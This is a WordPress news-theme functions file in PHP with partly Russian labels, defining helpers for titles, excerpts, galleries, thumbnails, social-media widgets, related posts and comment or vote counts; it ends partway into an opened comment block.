<?php

/*******************************************************************************************
Register custom menus (WP 3.0)
*******************************************************************************************/
add_action( 'init', 'register_my_menus' );
function register_my_menus() {
	register_nav_menus(
	array(
		'nav' => __('Main Navigation','news'),
		'pages' => __('Page Links','news')
		)
	);
}
/* end */

/*******************************************************************************************
Get content per page ID
*******************************************************************************************/
if(!function_exists('dt_content')){
	function dt_content($pageId) {
		if(!is_numeric($pageId)) {
			return;
		}
		global $wpdb;
		$sql_query = 'SELECT DISTINCT * FROM ' . $wpdb->posts .
		' WHERE ' . $wpdb->posts . '.ID=' . $pageId;
		$display = $wpdb->get_results($sql_query);
		if(!empty($display)){
			foreach($display as $post) {
				return nl2br($post->post_content);
			}
		}
	}
}
/* end */

/*******************************************************************************************
Get custom or default logo
*******************************************************************************************/
function dt_logo_image() {

	global $news;
	
	$image = wp_get_attachment_image_src($news['logo'], 'full');
	
	if (intval($news['logo']) && $image) {
		echo '<img src="'.$image[0].'" width="'.$image[1].'" height="'.$image[2].'" alt="'.get_bloginfo('name').'" />';
	} else {
		echo '<img src="'.get_bloginfo('template_directory').'/images/logo.png" alt="'.get_bloginfo('name').'" />';
	}

}
/* end */

/*******************************************************************************************
Get custom favicon
*******************************************************************************************/
function dt_favicon() {

	global $news;
	
	$image = wp_get_attachment_image_src($news['favicon'], 'full');
	
	if (intval($news['favicon']) && $image) {
		echo '<link href="'.$image[0].'" rel="shortcut icon" />';
	} else {
		echo '<link href="'.get_bloginfo('template_directory').'/favicon.ico" rel="shortcut icon" />';
	}

}
/* end */

/*******************************************************************************************
Load custom colors
*******************************************************************************************/
function dt_load_color($string) {
	if (!empty($string)) {
		echo "color: #$string;\n";
	}
}

function dt_load_bgcolor($string) {
	if (!empty($string)) {
		echo "background: #$string;\n";
	}
}
/* end */

/*******************************************************************************************
Paste additional headers from CP
*******************************************************************************************/
function dt_headers() {

	global $news;
	if (!empty($news['headers'])) {
		echo stripslashes($news['headers'])."\n";
	}

}
/* end */

/*******************************************************************************************
Paste additional footers from CP
*******************************************************************************************/
function dt_footers() {

	global $news;
	if (!empty($news['footers'])) {
		echo stripslashes($news['footers'])."\n";
	}

}
/* end */

/*******************************************************************************************
Re-write friendly titles
*******************************************************************************************/
function dt_pagetitle() {

	global $news, $current_user;

	if (is_home() || is_front_page()) {
		$title = get_bloginfo('name').' - '.get_bloginfo('description');
	} elseif (is_category()) {
		$title = get_cat_name(get_query_var( 'cat' )).' - '.get_bloginfo('name');
	} elseif (is_search()) {
		$title = get_search_query().' - '.get_bloginfo('name');
	} elseif (is_tag()) {
		$title = 'Posts Tagged &#8216;'.single_cat_title("", false).'&#8217; - '.get_bloginfo('name');
	} elseif (is_month()) {
		$title = get_the_time('F Y').' - '.get_bloginfo('name');
	} elseif (is_single()) {
		$title = single_post_title('', false).' - '.get_bloginfo('name');
	} elseif (is_author()) {
		$title = __('Author Archive','news').' - '.get_bloginfo('name');
	} elseif (is_page()) {
		if ($news['newspulse'] && is_page($news['newspulse'])) {
		$title = single_post_title('', false).' - '.__('Get the news filtered the way you want and see what\'s popular','news');
		} elseif (is_page(get_option('myprofile'))) {
		$title = get_the_author_meta('display_name', $current_user->ID).' - '.get_bloginfo('name');
		} else {
		$title = single_post_title('', false).' - '.get_bloginfo('name');	
		}
	}
	
	echo $title;

}
/* end */

/*******************************************************************************************
Show only one category
*******************************************************************************************/
function dt_category() {

	global $post;
	$CatListArray = wp_get_post_categories(get_the_ID());
	echo '<a href="'.get_category_link($CatListArray[0]).'">'.get_cat_name($CatListArray[0]).'</a>';

}

function dt_get_category($link = true) {

	global $post;
	$CatListArray = wp_get_post_categories(get_the_ID());
	if ($link == true) {
	return '<a href="'.get_category_link($CatListArray[0]).'">'.get_cat_name($CatListArray[0]).'</a>';
	} else {
	return get_cat_name($CatListArray[0]);
	}

}
/* end */

/*******************************************************************************************
Show post titles with cut configuration
*******************************************************************************************/
function dt_title($args = '') {

    $length = 100;
    $text = get_the_title();

    $text = strip_tags($text);
    if(strlen($text)>$length){
        $text = substr($text, 0, -(strlen($text) - $length));
        $text_mass = explode(' ', $text);
        unset($text_mass[count($text_mass) - 1]);
        $text = implode(' ', $text_mass);
        //        $text = apply_filters('wp_trim_excerpt', $text);
        echo $text."...";
        return;
    }

    echo $text;

//	global $post;
//
//	// extract args
//	$defaults = array(
//		'limit' => 50,
//		'type' => 'chars',
//		'after' => '...'
//	);
//
//	$r = wp_parse_args( $args, $defaults );
//	$limit = $r['limit'];
//	$type = $r['type'];
//	$last = $r['after'];
//
//	// if limit is set
//	if ($limit) {
//		if ($type == 'chars') {
//
//		// limit title by chars
//		if ( strlen (get_the_title()) > $limit ){
//			echo substr(the_title($before = '', $after = '', FALSE), 0, $limit);
//			if ($last) {
//				echo $last;
//			}
//		}else{
//			return the_title();
//		}
//
//		} else {
//
//		// limit title by words
//
//		}
//	} else {
//		return the_title();
//	}

}

function dt_get_title($args = '') {

    $length = 50;
    $text = get_the_title();

    $text = strip_tags($text);
    if(strlen($text)>$length){
        $text = substr($text, 0, -(strlen($text) - $length));
        $text_mass = explode(' ', $text);
        unset($text_mass[count($text_mass) - 1]);
        $text = implode(' ', $text_mass);
//        $text = apply_filters('wp_trim_excerpt', $text);
        echo $text."...";
        return;
    }

    echo $text;

//	global $post;
//
//	// extract args
//	$defaults = array(
//		'limit' => 50,
//		'type' => 'chars',
//		'after' => '...'
//	);
//
//	$r = wp_parse_args( $args, $defaults );
//	$limit = $r['limit'];
//	$type = $r['type'];
//	$last = $r['after'];
//
//	// if limit is set
//	if ($limit) {
//		if ($type == 'chars') {
//
//		// limit title by chars
//		if ( strlen (get_the_title()) > $limit ){
//			return substr(get_the_title(), 0, $limit);
//			if ($last) {
//				return $last;
//			}
//		}else{
//			return get_the_title();
//		}
//
//		} else {
//
//		// limit title by words
//
//		}
//	} else {
//		return get_the_title();
//	}

}
/* end */

/*******************************************************************************************
Show post excerpt with cut configuration
*******************************************************************************************/
function dt_excerpt($args = '') {
    $length = 100;
    $text = get_the_excerpt();

    $text = strip_tags($text);
    if(strlen($text)>$length){
        $text = substr($text, 0, -(strlen($text) - $length));
        $text_mass = explode(' ', $text);
        unset($text_mass[count($text_mass) - 1]);
        $text = implode(' ', $text_mass);
        $text = apply_filters('wp_trim_excerpt', $text);
        echo $text."...";
        return;
    }

    echo $text;
//
//	global $post;
//
//	// extract args
//	$defaults = array(
//		'limit' => 85,
//		'type' => 'chars',
//		'after' => '...'
//	);
//
//	$r = wp_parse_args( $args, $defaults );
//	$limit = $r['limit'];
//	$type = $r['type'];
//	$last = $r['after'];
//
//	$shortpost = substr(get_the_excerpt(), 0, $limit);
//	if ($shortpost) {
//		echo '<p>'.$shortpost;
//		if ($last) echo $last.'</p>'; else echo '</p>';
//	}

}
/* end */

/*******************************************************************************************
Replaces the_content() from WordPress (strip / tweaks / etc.)
*******************************************************************************************/
function no_caption($deprecated, $attr, $content) { return $content; };

function replace_bb($content) {
	add_filter('img_caption_shortcode', 'no_caption', 10, 3);
	$content = str_replace(array('[',']'), array('<','>'), $content);
	$content = strip_tags($content, '<p><h1><h2><h3><h4><h5><h6><em><strong><b><i><ul><li><ol><code><blockquote>');
	$content = str_replace('<p></p>', '', $content);
	return $content;
}

function dt_the_content() {

	global $post;
	if (get_post_meta($post->ID, 'slideshow', true)) {
		add_filter('the_content', 'poststats');
		add_filter('the_content', 'replace_bb');
		add_filter('the_content', 'dt_photos');
		add_filter('the_content', 'custom_story');
		the_content();
		echo '<div class="clear"></div>';
		poststats2();
	} elseif (get_post_meta($post->ID, 'video', true)) {
		add_filter('the_content', 'poststats');
		add_filter('the_content', 'custom_story');
		the_content();
		echo '<div class="clear"></div>';
		poststats2();
	} else {
		add_filter('the_content', 'poststats');
		add_filter('the_content', 'add_author_box');
		add_filter('the_content', 'custom_story');
		the_content();
		echo '<div class="clear"></div>';
		poststats2();
	}

}

/*******************************************************************************************
How many photos in a gallery
*******************************************************************************************/
function dt_photos($content) {

	global $post, $news;
	
	// Add page links first
	$images .= wp_link_pages(array('before' => '<p class="link-pages">'.__('Pages:','news'), 'echo' => 0));
	
	if ($news['postgallery']) {
		$source = $news['postgallery'];
	} else {
		$source = 'attachment';
	}

	// POST CONTENT
	if ($source == 'content') {

	$domd = new DOMDocument();
	libxml_use_internal_errors(true);
	$domd->loadHTML(get_the_content());
	libxml_use_internal_errors(false);
	$items = $domd->getElementsByTagName("img");
	$data = array();
	foreach($items as $item) {
		$data[] = array(
		"src" => $item->getAttribute("src"),
		"alt" => $item->getAttribute("alt"),
		"title" => $item->getAttribute("title"),
		);
	}

	if (count($data) > 0) {
		$images .= '<h2>'.__('Фото галерея','news').'</h2>';
		$images .= '<div class="gallery-container">';
		foreach($data as $k => $v) {
			if ($v['alt'] && $v['title']) $alttext = $v['alt']; elseif ($v['title']) $alttext = $v['title']; else $alttext = $v['alt'];
			$img_title = sprintf(__('%1$s (Photo %2$s of %3$s photo(s)).','news'), $alttext, ($k+1), count($data));
			$images .= '<div class="gallery-item"><div class="fancybox-zoom"><a href="'.urldecode($v['src']).'" title="'.$img_title.'" class="zoomgallery" rel="gallery"><img src="'.get_bloginfo('template_directory').'/thumbopen.php?src='.$v['src'].'&amp;w=100&amp;h=100&amp;zc=1&amp;a=t&amp;q=100" alt="'.$img_title.'" title="'.$img_title.'" width="100" height="100" /><div class="zoom-black"></div><div class="zoom-overlay"></div></a></div></div>';
		}
		$images .= '<div class="clear"></div></div>'; // clear float fix
	}

	}
	
	// POST ATTACHMENTS
	if ($source == 'attachment') {
	
	$attachments = get_children( array('post_parent' => $post->ID, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'DESC', 'orderby' => 'menu_order ID', 'numberposts' => -1) );
	if ($attachments == true) {
		$images .= '<h2>'.__('Фото галерея','news').'</h2>';
		$images .= '<div class="gallery-container">';
		$i = 0; foreach( $attachments as $attachment ) { $i++;
			if ($attachment->post_description) $alttext = $attachment->post_description; elseif ($attachment->post_excerpt) $alttext = $attachment->post_excerpt; else $alttext = $attachment->post_title; // grab the image title/description to show in gallery
			$img_title = sprintf(__('%1$s (Photo %2$s of %3$s photo(s)).','news'), $alttext, ($i), count($attachments));
			$imgdata = wp_get_attachment_image_src($attachment->ID, 'full'); // get image data (src, width, height)
			$images .= '<div class="gallery-item"><div class="fancybox-zoom"><a href="'.urldecode($imgdata[0]).'" title="'.$img_title.'" class="zoomgallery" rel="gallery"><img src="'.get_bloginfo('template_directory').'/thumbopen.php?src='.$imgdata[0].'&amp;w=100&amp;h=100&amp;zc=1&amp;a=t&amp;q=100" alt="'.$img_title.'" title="'.$img_title.'" width="100" height="100" /><div class="zoom-black"></div><div class="zoom-overlay"></div></a></div></div>';
		}
		$images .= '<div class="clear"></div></div>'; // clear float fix
	}

	}

	$content .= $images;
	return $content;

}
/* end */

/*******************************************************************************************
How many photos in a gallery
*******************************************************************************************/
function dt_photos_number($args = '') {
	global $post, $news;
	if (get_post_meta($post->ID, 'slideshow', true)) { // make sure we're dealing with a gallery

	$defaults = array(
		'source' => $news['postgallery'], // attachment or content
		'show_tag' => 'true',
		'span_class' => 'photo_count'
	);
	
	$r = wp_parse_args( $args, $defaults );
	$source = $r['source'];
	$show_tag = $r['show_tag'];
	$span_class = $r['span_class'];
	
	if (!$source) $source = 'attachment';
	
	// display tag or no?
	if ($show_tag == 'true') {
		$result .= '<span class="photo_tag">Photo Gallery</span>';
	}
	
	// count images based on source
	if ($source == 'attachment') {
		$imagecount = get_children( array('post_parent' => $post->ID, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'DESC', 'orderby' => 'menu_order ID', 'numberposts' => -1) );
		if ($imagecount) {
			if (count($imagecount) == 1) {
			$result .= sprintf(__('<span class="%1$s">%2$s Фотография</span>','news'), $span_class, count($imagecount));
			} else {
			$result .= sprintf(__('<span class="%1$s">%2$s Фотографии</span>','news'), $span_class, count($imagecount));
			}
		}
	} elseif ($source == 'content') {
		$imagecount = preg_match_all('/\< *[img][^\>]*src *= *[\"\']{0,1}([^\"\'\ >]*)/',get_the_content(),$matches);
		if (count($matches[1]) > 0) {
			if (count($matches[1]) == 1) {
			$result .= sprintf(__('<span class="%1$s">%2$s Фотография</span>','news'), $span_class, count($matches[1]));
			} else {
			$result .= sprintf(__('<span class="%1$s">%2$s Фотографии</span>','news'), $span_class, count($matches[1]));
			}
		}
	}
	
	echo $result;

	}
}
/* end */

/*******************************************************************************************
Display the facebook like box / fan box
*******************************************************************************************/
function dt_facebook($args = '') {

	global $news;

	$defaults = array(
		'before' => '',
		'after' => '',
		'page' => $news['facebook'],
		'width' => 300,
		'height' => 257,
		'scheme' => 'light',
		'fans' => 10,
		'stream' => 'false',
		'header' => 'false'
	);
	$r = wp_parse_args( $args, $defaults );
	$before = $r['before'];
	$after = $r['after'];
	$page = $r['page'];
	$width = $r['width'];
	$height = $r['height'];
	$scheme = $r['scheme'];
	$fans = $r['fans'];
	$stream = $r['stream'];
	$header = $r['header'];
	
	if ($before) echo $before;

	echo '<iframe src="http://www.facebook.com/plugins/likebox.php?href='.urlencode($page).'&amp;width='.$width.'&amp;colorscheme='.$scheme.'&amp;connections='.$fans.'&amp;stream='.$stream.'&amp;header='.$header.'&amp;height='.$height.'" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:'.$width.'px; height:'.$height.'px;" allowTransparency="true"></iframe>';

	if ($after) echo $after;

}
/* end */

/*******************************************************************************************
Display the facebook likes button
*******************************************************************************************/
function dt_facebooklike($args = '') {

	$defaults = array(
		'layout' => 'button_count', // standard, box_count, button_count
		'faces' => 'false', // true or false
		'width' => 120,
		'height' => 20,
		'action' => 'like', // like or recommend
		'scheme' => 'light', // light or dark
		'before' => '',
		'after' => '',
		'url' => urlencode((!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'])
	);
	$r = wp_parse_args( $args, $defaults );
	$layout = $r['layout'];
	$faces = $r['faces'];
	$width = $r['width'];
	$height = $r['height'];
	$action = $r['action'];
	$scheme = $r['scheme'];
	$before = $r['before'];
	$after = $r['after'];
	$url = $r['url'];
	
	if ($before) echo $before;
	echo '<iframe src="http://www.facebook.com/plugins/like.php?href='.$url.'&amp;layout='.$layout.'&amp;show_faces='.$faces.'&amp;width='.$width.'&amp;action='.$action.'&amp;colorscheme='.$scheme.'&amp;height='.$height.'" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:'.$width.'px; height:'.$height.'px;" allowTransparency="true"></iframe>';
	if ($after) echo $after;

}
/* end */

/*******************************************************************************************
Display the tweets button
*******************************************************************************************/
function dt_tweetbutton($args = '') {

	$defaults = array(
		'count' => 'horizontal',
		'before' => '',
		'after' => ''
	);
	$r = wp_parse_args( $args, $defaults );
	$count = $r['count'];
	$before = $r['before'];
	$after = $r['after'];
	
	if ($before) echo $before;
	echo '<a href="http://twitter.com/share" class="twitter-share-button" data-count="'.$count.'">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>';
	if ($after) echo $after;

}
/* end */

/*******************************************************************************************
Show the e-mail link in post (customizable)
*******************************************************************************************/
function dt_email($args = '') {
	if(function_exists('wp_email')) {
	
	$defaults = array(
		'showcount' => 1,
		'text' => __('Email','news'),
		'before' => '',
		'after' => ''
	);
	
	$r = wp_parse_args( $args, $defaults );
	$showcount = $r['showcount'];
	$text = $r['text'];
	$before = $r['before'];
	$after = $r['after'];

	if ($before) echo $before;
	email_link($text, $text);
	
	if ($showcount) {
		global $post, $wpdb;
		$postid = $post->ID;
		$emailed = $wpdb->get_results("SELECT COUNT($wpdb->email.email_postid) AS email_total FROM $wpdb->email WHERE $wpdb->email.email_postid = $postid");
		if($emailed) {
			foreach($emailed as $k) {
				$email_total = intval($k->email_total);
				if ($email_total > 0) {
					if ($email_total == 1) {
						printf(__('<span>%s mail</span>','news'), number_format_i18n($email_total));
					} else {
						printf(__('<span>%s mails</span>','news'), number_format_i18n($email_total));
					}
				}
			}
		}
	}
	if ($after) echo $after;

	}
}
/* end */

/*******************************************************************************************
Show customizable print link
*******************************************************************************************/
function dt_print($args = '') {
	if(function_exists('wp_print')) {
	
	$defaults = array(
		'text' => 'Print',
		'before' => '',
		'after' => ''
	);
	
	$r = wp_parse_args( $args, $defaults );
	$text = $r['text'];
	$before = $r['before'];
	$after = $r['after'];

	if ($before) echo $before;
	print_link('Print', 'Print');
	if ($after) echo $after;

	}
}
/* end */

/*******************************************************************************************
Display customizable registration link
*******************************************************************************************/
function dt_register_link($args = '') {

	// extract args
	$defaults = array(
		'text' => __('<a href="'.get_bloginfo('siteurl').'/wp-login.php?action=register">Sign up</a> for a free account.','news')
	);

	$r = wp_parse_args( $args, $defaults );
	$text = $r['text'];
	
	if (wp_register('','',false)) {
		return $text;
	}

}
/* end */

/*******************************************************************************************
Get post image thumbnail
*******************************************************************************************/
function dt_thumb($args = '') {
    global $display;
//    var_dump(get_post_thumbnail_id($display->post->ID));

//var_dump($display->post->ID);
	global $post;
//	var_dump($post->ID);
	// extract args
	$defaults = array(
		'ID' => $post->ID,
		'width' => 150,
		'height' => 150,
		'crop' => 1,
		'direction' => 't',
		'quality' => 100,
		'link' => '',
		'default' => ''
	);

	$r = wp_parse_args( $args, $defaults );
    $postid = $post->ID;
	$w = $r['width'];
	$h = $r['height'];
	$zc = $r['crop'];
	$cropfrom = $r['direction'];
	$q = $r['quality'];
	$link = $r['link'];
	$default = $r['default'];
//var_dump($w);
//    var_dump($h);
     if (has_post_thumbnail($post->ID)) {?>
     <a href="<?php the_permalink()?>" >
         <img src="<?php bloginfo('template_directory') ?>/thumb.php?src=<?= wp_get_attachment_url(get_post_thumbnail_id($post->ID)) ?>&#38;w=<?= $w ?>&#38;h=<?= $h ?>&#38;zc=1" alt="" />
     </a>
     <?php }else {

	// which image
	$img_customfield = get_post_meta($postid, 'thumb', true);
	$img_uploads = get_children( array('post_parent' => $postid, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'DESC', 'orderby' => 'menu_order ID', 'numberposts' => 1) );
	$img_post = preg_match_all('/\< *[img][^\>]*src *= *[\"\']{0,1}([^\"\'\ >]*)/',dt_content($postid),$matches);

	// which thumbnail script
	$thumbnail = 'thumbopen.php';
	
	// get thumbnail type
	if ($img_customfield) {
		$source = urlencode($img_customfield);
	} elseif ($img_uploads == true) {
		foreach($img_uploads as $id => $attachment) {
		$img = wp_get_attachment_image_src($id, 'full');
		$source = urlencode($img[0]);
		}
	} elseif (count($matches[1]) > 0) {
		$source = urlencode($matches[1][0]);
	} elseif (!empty($default)) {
		$source = urlencode($default);
	} else {
		$source = '';
	}
	
	// show it now
	if ($source) {
	
	if (empty($link)) {
		$link = get_permalink($postid);
		$image = '<a href="'.$link.'"><img src="'.get_bloginfo('template_directory').'/'.$thumbnail.'?src='.$source.'&amp;w='.$w.'&amp;h='.$h.'&amp;zc='.$zc.'&amp;a='.$cropfrom.'&amp;q='.$q.'" alt="'.get_the_title($postid).'" title="'.get_the_title($postid).'" width="'.$w.'" height="'.$h.'" /></a>';
	} elseif ($link == 'false') {
		$image = '<img src="'.get_bloginfo('template_directory').'/'.$thumbnail.'?src='.$source.'&amp;w='.$w.'&amp;h='.$h.'&amp;zc='.$zc.'&amp;a='.$cropfrom.'&amp;q='.$q.'" alt="'.get_the_title($postid).'" title="'.get_the_title($postid).'" width="'.$w.'" height="'.$h.'" />';
	} elseif ($link == 'image') {
		$image = '<div class="fancybox-zoom"><a href="'.urldecode($source).'" class="zoom"><img src="'.get_bloginfo('template_directory').'/'.$thumbnail.'?src='.$source.'&amp;w='.$w.'&amp;h='.$h.'&amp;zc='.$zc.'&amp;a='.$cropfrom.'&amp;q='.$q.'" alt="'.get_the_title($postid).'" title="'.get_the_title($postid).'" width="'.$w.'" height="'.$h.'" /><div class="zoom-black"></div><div class="zoom-overlay"></div></a></div>';
	} elseif ($link == 'overlay') {
		$image = '<div class="divoverlay"><a href="'.get_permalink($postid).'"><img src="'.get_bloginfo('template_directory').'/'.$thumbnail.'?src='.$source.'&amp;w='.$w.'&amp;h='.$h.'&amp;zc='.$zc.'&amp;a='.$cropfrom.'&amp;q='.$q.'" alt="'.get_the_title($postid).'" title="'.get_the_title($postid).'" width="'.$w.'" height="'.$h.'" /><div class="layeroverlay"></div><div class="titleoverlay">'.dt_get_title('limit=35&after=').'</div></a></div>';
	} else {
		$image = '<a href="'.$link.'"><img src="'.get_bloginfo('template_directory').'/'.$thumbnail.'?src='.$source.'&amp;w='.$w.'&amp;h='.$h.'&amp;zc='.$zc.'&amp;a='.$cropfrom.'&amp;q='.$q.'" alt="'.get_the_title($postid).'" title="'.get_the_title($postid).'" width="'.$w.'" height="'.$h.'" /></a>';
	}
		
	echo $image;
	
	}
}
}
/* end */

/*******************************************************************************************
Get video content
*******************************************************************************************/
function dt_video($args = '') {

	global $sources;
	$defaults = array(
	);

	$r = wp_parse_args( $args, $defaults );
	$videowidth = $r['width'];
	$videoheight = $r['height'];

	// loop and post only video content
	foreach($sources as $source) {
		if ( preg_match('/\['.$source.' ([[:print:]]+)\]/', get_the_content(), $matches) == 1 ) {
			$tag_parts = explode(" ", rtrim($matches[0], "]"));
			$vidcontent = $tag_parts[0].' '.$tag_parts[1].' '.$videowidth.' '.$videoheight.']';
    		$filtered_content = apply_filters('the_content', $vidcontent);
			$filtered_content = str_replace('<p>','',$filtered_content);
			$filtered_content = str_replace('</p>','',$filtered_content);

			print $filtered_content;
		}
	}

}
/* end */

/*******************************************************************************************
Special content tagging (news, photos, video)
*******************************************************************************************/
function dt_posttype() {

	global $post;

	if (get_post_meta($post->ID, 'video')) {
		echo '<span class="icon-video">'.__('Видео:','news').'</span>';
		} elseif (get_post_meta($post->ID, 'slideshow')) {
		echo '<span class="icon-photo">'.__('Фото:','news').'</span>';
		} else {
	// nothing
	}

}

function dt_get_posttype() {

	global $post;

	if (get_post_meta($post->ID, 'video')) {
		return '<span class="icon-video">'.__('Video:','news').'</span>';
		} elseif (get_post_meta($post->ID, 'slideshow')) {
		return '<span class="icon-photo">'.__('Photos:','news').'</span>';
		} else {
	// nothing
	}

}
/* end */

/*******************************************************************************************
Display recent comments
*******************************************************************************************/
function dt_recent_comments($args = '') {

	global $wpdb;

	// extract args
	$defaults = array(
		'show' => 5,
		'list' => 'ol',
		'gravatar_size' => 30,
		'template' => '<li><div class="author-img">%AUTHOR_IMAGE%</div>%COMMENT% <a href="%COMMENT_URL%" title="Comment on: %POST_TITLE%">%COMMENT_AUTHOR%</a><div class="clear"></div></li>'
	);

	// simplify vars
	$r = wp_parse_args( $args, $defaults );
	$template = $r['template'];
	$list = $r['list'];
	$numcomments = $r['show'];
	$gravatar_size = $r['gravatar_size'];
	
	// template
	if ($news['recentc_template']) {
		$template = stripslashes($news['recentc_template']);
	}
	
	// display
	$query = "SELECT * from $wpdb->comments WHERE comment_approved= '1' ORDER BY comment_date DESC LIMIT 0 ,$numcomments";
	$comments = $wpdb->get_results($query);
	if ($comments) {
		if (!empty($list)) { echo '<'.$list.'>'; echo "\n"; }
		foreach ($comments as $comment) {

			$comment_post_title = get_the_title($comment->comment_post_ID);
			$comment_post_url = get_permalink($comment->comment_post_ID);
			$newtemplate = str_replace(array(
						"%COMMENT%",
						"%AUTHOR_IMAGE%",
						"%COMMENT_URL%",
						"%COMMENT_AUTHOR%",
						"%POST_TITLE%"
			), array(
						strip_tags($comment->comment_content),
						get_avatar($comment->comment_author_email, $size = $gravatar_size),
						$comment_post_url."#comment-".$comment->comment_ID,
						$comment->comment_author,
						$comment_post_title
					),$template
			);
			echo $newtemplate;

		}
		if (!empty($list)) { echo '</'.$list.'>'; echo "\n"; }
	}

}
/* end */

/*******************************************************************************************
Display customizable related content
*******************************************************************************************/
function dt_related_posts($args = '') {

	global $post, $news;
	
	if ($news['related'] == 1) {

	// extract args
	$defaults = array(
		'news_heading' => sprintf(__('Подробнее о %s','news'), dt_get_category(false)),
		'photo_heading' => __('Eще Фотогалереи','news'),
		'video_heading' => __('Смотреть видео по теме','news'),
		'showposts' => $news['related_num'],
		'imagewidth' => 200,
		'imageheight' => 140
	);

	// simplify vars
	$r = wp_parse_args( $args, $defaults );
	$news_heading = $r['news_heading'];
	$photo_heading = $r['photo_heading'];
	$video_heading = $r['video_heading'];
	$showposts = $r['showposts'];
	$imagewidth = $r['imagewidth'];
	$imageheight = $r['imageheight'];
	
	// get current post category ID
	$CatListArray = wp_get_post_categories($post->ID);
	$current_cat = $CatListArray[0];
	
	// set current post ID to var
	$current_post = $post->ID;
	
	// get current post content type
	if (get_post_meta($post->ID, 'slideshow')) $content_type = 2;
	elseif (get_post_meta($post->ID, 'video')) $content_type = 3;
	else $content_type = 1;
	
	// build the relatd content query
	$display = new WP_query();
	if ($content_type == 1) $display->query(array('showposts' => $showposts, 'orderby'=>'date','order'=>'DSC', 'cat' => $current_cat, 'post__not_in' => array($current_post)));
	if ($content_type == 2) $display->query(array('showposts' => $showposts, 'orderby'=>'date','order'=>'DSC', 'meta_key' => 'slideshow', 'post__not_in' => array($current_post)));
	if ($content_type == 3) $display->query(array('showposts' => $showposts, 'orderby'=>'date','order'=>'DSC', 'meta_key' => 'video', 'post__not_in' => array($current_post)));
	global $wp_query; $wp_query->in_the_loop = true;
	
	// display results
	if ($display->have_posts()) :
	echo '<div class="related">';
	echo '<div class="related_header">'; if ($content_type == 2) echo $photo_heading; elseif ($content_type == 3) echo $video_heading; else echo $news_heading; echo '</div>';
	$i = 0; while ($display->have_posts()) : $display->the_post(); $i++;
	
	if ($i <= 3) {
//	var_dump($imagewidth);
		// put them in big thumbs
		echo '<div class="related_big">';
		dt_thumb('width='.$imagewidth.'&height='.$imageheight);
		echo '<div class="related_title"><a href="'.get_permalink($post->ID).'" title="'.get_the_title().'">';
		if ($content_type == 1) dt_posttype();
		the_title();
		echo '</a>';
		if ($content_type == 2) dt_photos_number('show_tag=false');
		echo '</div>';
		echo '</div>';
	
	}
	
	if ($i == 3) echo '<div class="clear"></div><div class="related_s"></div>'; // cut after the first 3 items
	if ($i == $display->post_count) echo '<div class="clear"></div>'; // if there are few posts (fix)
	
	if ($i > 3) {
	
		echo '<div class="related_item"><a href="'.get_permalink($post->ID).'" title="'.get_the_title().'">';
		if ($content_type == 1) dt_posttype();
		the_title();
		echo '</a>';
		if ($content_type == 2) dt_photos_number('show_tag=false&span_class=photo_count_inline');
		echo '</div>';
	
	}
	
	endwhile;
	echo '</div>';
	endif;
	
	}
	
	// Lets kill this query
	wp_reset_query();

}
/* end */

/*******************************************************************************************
Getinfo / singular / plural seperation
*******************************************************************************************/
function dt_votes_number_mode2($zero=0, $one=1, $many='%') {

	global $post;
	$score = get_post_meta($post->ID, 'ratings_score', true);

	if ($score == 0) {
		$vote = $zero;
	} elseif ($score == 1) {
		$vote = $one;
	} else {
		$vote = str_replace('%', $score, $many);
	}
	
	$vote = number_format_i18n($vote);
	
	if ($vote < 0) {
		echo '<span style="color:red">'.str_replace('-','',$vote).'</span>';
	} elseif ($vote > 0) {
		echo '<span style="color:green">'.$vote.'</span>';
	} else {
		echo $vote;
	}

}
/* end */

/*******************************************************************************************
Getinfo / singular / plural seperation
*******************************************************************************************/
function dt_views_number_mode2($zero=0, $one=1, $many='%') {

	global $post;
	$score = get_post_meta($post->ID, 'views', true);
	
	if ($score == 0) {
		$result = $zero;
	} elseif ($score == 1) {
		$result = $one;
	} else {
		$result = str_replace('%', $score, $many);
	}
	
	$result = number_format_i18n($result);
	
	echo $result;

}

/*******************************************************************************************
Getinfo / singular / plural seperation
*******************************************************************************************/
function dt_votes_number($zero=0, $one=1, $many='%') {

	global $post;
	$score = get_post_meta($post->ID, 'ratings_score', true);

	if ($score == 0) {
		$result = $zero;
	} elseif ($score == 1) {
		$result = $one;
	} else {
		$result = str_replace('%', $score, $many);
	}
	
	echo $result;

}
/* end */

/*******************************************************************************************
Getinfo / singular / plural seperation
*******************************************************************************************/
function dt_views_number($zero=0, $one=1, $many='%') {

	global $post;
	$score = get_post_meta($post->ID, 'views', true);
	
	if ($score == 0) {
		$result = $zero;
	} elseif ($score == 1) {
		$result = $one;
	} else {
		$result = str_replace('%', $score, $many);
	}
	
	echo $result;

}
/* end */

/*******************************************************************************************
Getinfo / singular / plural seperation
*******************************************************************************************/
function dt_usersvoted_number($zero=0, $one=1, $many='%') {

	global $post;
	$score = get_post_meta($post->ID, 'ratings_users', true);
	
	if ($score == 0) {
		echo $zero;
	} elseif ($score == 1) {
		echo $one;
	} else {
		echo str_replace('%', $score, $many);
	}

}
/* end */

function dt_archive_meta() {
	
	global $post;
	
	if ($_GET['v_sortby']) {
		echo '<span class="meta-view">';
		dt_views_number(__('<a href="'.get_permalink($post->ID).'"><strong>Be the first to view it</strong></a>','news'), __('<strong>One person</strong> has viewed this','news'), __('<strong>% People</strong> have viewed this','news'));
		echo '</span>';
	} elseif ($_GET['r_sortby'] == 'most_rated') {
		echo '<span class="meta-rate">';
		dt_usersvoted_number(__('<a href="'.get_permalink($post->ID).'"><strong>Be the first to rate it</strong></a>','news'), __('Rated by <strong>1 person</strong>','news'), __('Rated by <strong>% people</strong>','news'));
		echo '</span>';
	}  elseif ($_GET['r_sortby'] == 'highest_rated') {
		echo '<span class="meta-rate">';
		dt_votes_number(__('<strong>0</strong>','news'), __('<strong>1</strong>','news'), __('<strong>%</strong>','news'));
		echo '</span>';
	} else {
		comments_popup_link(__('Нет коментариев','news'), __('1 коментарий','news'), __('% Коментарий','news'), 'список коментариев', 'закрыт для поментирования ');
	}

}

/*******************************************************************************************
